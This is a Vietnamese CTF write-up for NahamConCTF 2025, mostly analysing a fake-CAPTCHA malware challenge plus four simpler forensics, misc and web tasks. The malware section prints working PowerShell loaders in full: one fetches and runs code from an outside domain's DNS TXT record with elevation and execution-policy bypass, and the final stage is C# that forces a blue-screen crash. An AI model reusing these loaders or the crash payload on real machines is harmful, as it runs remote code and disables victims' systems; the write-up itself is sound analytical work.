---
# System prepended metadata

title: NahamConCTF 2025
tags: [CTF Writeup]

---

# NahamConCTF 2025

Giải này em chơi với team aespaFanClub và giành được top 68 trên bảng xếp hạng, sau đây là writeup các bài em làm được trong giải.

## Verification Clarification - Malware

Challenge này nó cho ta 1 cái đường link lừa đảo, nó yêu cầu ta mở hộp thoại `Run` sau đó nhập theo yêu cầu. Khi em mở source của trang web đó lên thì thấy nó thực hiện gửi 1 request tới chính trang web này để lấy payload về thực thi, sau đó em cũng thực hiện gửi request tới đường link đó và nhận được payload ps1 nó dùng để thực thi mã độc.

Bài này lúc em bắt đầu viết thì challenge trên web đã bị mất nên em không lấy lại được code trong source web được.
`Invoke-RestMethod -Uri "https://captcha.zip/verify"`
Đây là lệnh powershell em dùng để gửi request.
Sau khi gửi thì em có được 1 đoạn code sau:
```powershell=
$d='aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoUmVzb2x2ZS1EbnNOYW1lIC1OYW1lIDVnbWx3LnB5cmNoZGF0YS5jb20gLVR5cGUgVFhUKS5TdHJpbmdzIC1qb2luICcnKSkp'
$dn=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))
(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0)
```

Cụ thể thì nó giải mã chuỗi base64 trên sau đó thực thi nó, chuỗi base64 sau khi giải mã có nội dung như sau:
```powershell=
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT).Strings -join '')))
```

Đoạn code trên tải và thực thi mã PowerShell từ bản ghi DNS TXT của một tên miền bên ngoài, thay vì thực thi ta sẽ in ra nội dung được tải về và có được payload tiếp theo.

![image](https://hackmd.io/_uploads/BkPgTMLfxg.png)

```powershell=
(nEw-oBjECT  sYsTEm.io.cOmPREsSION.DEFLATesTrEAM( [IO.mEMOrYstReAM] [SyStEM.cOnvert]::FrOmbaSE64striNG( 'TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE]::DecomPREss) | foREaCH { nEw-oBjECT  iO.sTREamREAder($_ , [tExT.ENCOdiNG]::AscIi ) }|foreaCh {$_.rEadtOEnd( ) }) |&( $SHelLiD[1]+$SHELLID[13]+'X')
```

Đoạn code này tiếp tục thực hiện giải mã và giải nén nội dung rồi thực thi.
Tiếp tục cách làm giống như trên, thay vì chạy y nguyên code với lệnh `iex` ta sẽ in ra nội dung được thực thi.

![image](https://hackmd.io/_uploads/HkClCfIGee.png)

```powershell=
([regEx]::mAtChES( "))63]RAHC[,)501]RAHC[+09]RAHC[+101]RAHC[(  ECALpER-  43]RAHC[,'R6S'ECALpER- 93]RAHC[,)211]RAHC[+48]RAHC[+89]RAHC[(EcAlpeRc- )')'+'))R6S==gC'+'p'+'Iy'+'c'+'zV2YvJHUiACL'+'i0'+'HMlFDOkJjZ'+'5kDZlR'+'TZ4'+'A'+'DOkZWMlZzMmhjMh'+'BTN0czM3'+'s3Z'+'hxm'+'Zi'+'ACL'+'icWYsZmIoUGbiFWayF'+'mV05'+'WZt52bylmduVEdlNlO60FduVWbu9mcpZnbF5SblR3c'+'5N'+'1WR6S(gni'+'rtS46esaBmo'+'rF'+'::]trevn'+'oC['+'(gnirtS'+'teG.8'+'FT'+'U::]gnidocnE.txe'+'T['+'( xei;)(t'+'ohS::]'+'X[;c'+'iZe'+' sretem'+'ara'+'Preli'+'pmoC-'+' urh'+'Tss'+'aP- '+'prahSC egaugn'+'aL- s'+'iZe'+' no'+'itini'+'feDep'+'y'+'T- ep'+'yT-d'+'dA=ai'+'Z'+'e;)R6'+'Sll'+'d'+'.metsySR6S(d'+'dA'+'.s'+'e'+'il'+'bm'+'ess'+'Ade'+'cnerefeR.ci'+'Ze;pT'+'befasnu/p'+'Tb=snoitp'+'Or'+'elipmoC.'+'ciZ'+'e;sretemaraPrelip'+'mo'+'C.relipmoC.m'+'oD'+'edoC.metsyS '+'tcejbO-w'+'e'+'N=ciZe;p'+'Tb}};)r tuo ,6'+' ,o'+'reZ.rt'+'Ptn'+'I ,'+'0 ,'+'0 ,2'+'2'+'0000'+'0'+'cx0('+'ror'+'rEdr'+'a'+'Hesia'+'RtN;'+')t'+' tuo ,esla'+'f ,eurt ,91(e'+'gelivirPt'+'s'+'ujdAltR;r tniu;t l'+'oob{)(t'+'ohS'+' diov'+' e'+'f'+'asnu ci'+'tats cilbup;)R tni'+'u tu'+'o ,V'+' t'+'niu ,P rtPtnI ,U'+' tniu'+' '+',N '+'tniu ,E'+' tniu(ror'+'rEdraHes'+'iaRtN tniu n'+'ret'+'xe ci'+'tats '+'c'+'ilbup])R'+'6'+'Slld.lldtnR6S(tro'+'pmIl'+'lD['+';)O lo'+'ob'+' tuo ,T loob ,E loo'+'b ,P t'+'ni'+'(eg'+'eliv'+'irPtsu'+'jdAl'+'tR'+' tniu nret'+'xe'+' citats cil'+'bup])R6'+'S'+'ll'+'d.'+'ll'+'dtnR6S'+'(tropm'+'IllD['+'{X ssalc cit'+'a'+'ts cil'+'b'+'up'+';secivreS'+'poretn'+'I.emitnuR.metsyS'+' gnisu;metsyS gn'+'isupTb=siZe'((( XeI " ,'.' ,'rIgHTtoLEFt' )-JoiN'' ) | INVoKe-eXpresSIoN
```

Tóm lại thì đây là một đoạn mã đã bị obfuscated, nó thực hiện đảo ngược rồi nối các đoạn rời lại rồi thực thi, ta tiếp tục thay vì thực thi thì chỉ in ra nội dung được thực thi.

![image](https://hackmd.io/_uploads/SJ3YJm8zex.png)

```ps1=
IeX ((('eZis=bTpusi'+'ng System;using '+'System.Runtime.I'+'nterop'+'Services;'+'pu'+'b'+'lic st'+'a'+'tic class X{'+'[DllI'+'mport('+'S6Rntd'+'ll'+'.d'+'ll'+'S'+'6R)]pub'+'lic static '+'ex'+'tern uint '+'Rt'+'lAdj'+'ustPri'+'vile'+'ge('+'in'+'t P, b'+'ool E, bool T, out '+'bo'+'ol O);'+'[Dl'+'lImp'+'ort(S6Rntdll.dllS'+'6'+'R)]publi'+'c'+' stat'+'ic ex'+'ter'+'n uint NtRai'+'seHardEr'+'ror(uint '+'E, uint'+' N,'+' '+'uint '+'U, IntPtr P, uin'+'t '+'V, o'+'ut u'+'int R);public stat'+'ic unsa'+'f'+'e '+'void '+'Sho'+'t(){boo'+'l t;uint r;RtlAdju'+'s'+'tPrivileg'+'e(19, true, f'+'alse, out '+'t)'+';NtR'+'aiseH'+'a'+'rdEr'+'ror'+'(0xc'+'0'+'0000'+'2'+'2, 0'+', 0'+', I'+'ntP'+'tr.Zer'+'o, '+'6, out r);}}bT'+'p;eZic=N'+'e'+'w-Object'+' System.Code'+'Do'+'m.Compiler.C'+'om'+'pilerParameters;e'+'Zic'+'.Compile'+'rO'+'ptions=bT'+'p/unsafeb'+'Tp;eZ'+'ic.Referenc'+'edA'+'sse'+'mb'+'li'+'e'+'s.'+'Ad'+'d(S6RSystem.'+'d'+'llS'+'6R);e'+'Z'+'ia=Ad'+'d-Ty'+'pe -T'+'y'+'peDef'+'initi'+'on '+'eZi'+'s -La'+'nguage CSharp'+' -Pa'+'ssT'+'hru '+'-Comp'+'ilerP'+'ara'+'meters '+'eZi'+'c;[X'+']::Sho'+'t();iex ('+'[T'+'ext.Encoding]::U'+'TF'+'8.Get'+'String('+'[Co'+'nvert]::'+'Fr'+'omBase64Str'+'ing(S6RW1'+'N5'+'c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW'+'50Vm'+'FyaWFibGUoImZsYWci'+'LCA'+'iZ'+'mxh'+'Z3s'+'3Mzc0NTB'+'hMjhmMzZlMWZkOD'+'A'+'4ZT'+'RlZDk5'+'ZjJkODFlMH'+'0i'+'LCAiUHJvY2Vz'+'c'+'yI'+'p'+'Cg==S6R))'+')') -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34  -REpLACE  ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36))
```

Vẫn là đoạn mã bị obfuscated, em tiếp tục phương pháp cũ:
![image](https://hackmd.io/_uploads/SJWXb7Uzge.png)

```powershell=
$s='using System;using System.Runtime.InteropServices;public static class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}';$c=New-Object System.CodeDom.Compiler.CompilerParameters;$c.CompilerOptions='/unsafe';$c.ReferencedAssemblies.Add("System.dll");$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==")))
```

Ở phần đầu của đoạn code ps1 này nó đã thực thi 1 đoạn code C# sau:

```C+=
$s='using System;
using System.Runtime.InteropServices;
public static class X{
  [DllImport("ntdll.dll")]
  public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);

  [DllImport("ntdll.dll")]
  public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);

  public static unsafe void Shot(){
    bool t;
    uint r;
    RtlAdjustPrivilege(19, true, false, out t);
    NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);
  }
}';
```

Có vẻ như là nó sẽ làm cho máy tính của nạn nhân sẽ bị lỗi màn hình xanh sau khi thực thi.

Trong giải em có sử dụng máy ảo và làm theo các chỉ dẫn trên trang web và máy ảo của em đã bị màn hình xanh sau đó nó tắt đi.

Ở phần sau của code ps1 có một đoạn mã base64, decode nó và được flag.
![image](https://hackmd.io/_uploads/SydBm7LMlx.png)

**Flag: flag{737450a28f36e1fd808e4ed99f2d81e0}**

## Puzzle Pieces - Forensics
>Well, I accidentally put the important data into a bunch of executables.
It was fine, until my cat stepped on my keyboard and renamed them all!
Can you help me recover the important data?
NOTE, the password for the archive is nahamcon-2025-ctf
Author: Nordgaren

Challenge này nó cho em 10 cái file thực thi. Em ném lên IDA mấy file đấy thì nó khá giống nhau và windows security của em cũng không có phản ứng gì nên có vẻ nó không phải file gì độc hại, em thực thi thử 1 file thì nó in ra cho em mấy cái kí tự có vẻ như là 1 phần của flag. Sau đó em thực thi các file theo trình tự thời gian được tạo thì có được flag.
![image](https://hackmd.io/_uploads/BkgOIX8Mxl.png)

**Flag: flag{512faff5e7d89c9b8bd4b9517af9bfa}**

## Flagdle - Misc
>Wordle? I sleep. Too easy.
32 character Wordle? Now we're cooking with gas!
Author: @HuskyHacks

Challenge này yêu cầu ta đoán flag, nếu ta đoán chữ cái x ở vị trí y đúng thì tại vị trí này nó sẽ trả về cho ta màu xanh, đơn giản chỉ cần bruteforce tất cả các chữ cái và chữ số, nếu nó trả về màu xanh thì lưu lại là xong.
Em có code bruteforce bên dưới:

```python=
import requests
import json

URL = "http://challenge.nahamcon.com:31948/guess"
charset = "abcdef0123456789"
flag = ["_"] * 32  

for ch in charset:
    guess = f"flag{{{ch * 32}}}"
    data = {"guess": guess}

    response = requests.post(URL, json=data)
    result = response.json().get("result", "")

    for i, box in enumerate(result):
        if box == "🟩":
            flag[i] = ch


flag_str = "".join(flag)
print(flag_str)
```

**Flag: flag{bec42475a614b9c9ba80d0eb7ed258c5}**

## The Martian - Misc
>Wow, this file looks like it's from outta this world!
>Author: @John Hammond

Nó cho ta 1 file .martian. Sử dụng binwalk thì em thấy có một số file ẩn bên trong, trích xuất chúng và kiểm tra nó thì em được như sau:

![image](https://hackmd.io/_uploads/BkSqs78Geg.png)

Có 2 file là ảnh, kiểm tra thì có 1 ảnh có chứa flag.

![957D](https://hackmd.io/_uploads/rk22omIzxg.jpg)

## The Mission - Flag #1 - Web

Bài này cũng đã bị mất cái web server nhưng em nhớ là em tìm thấy flag của bài này nằm ở `/robots.txt`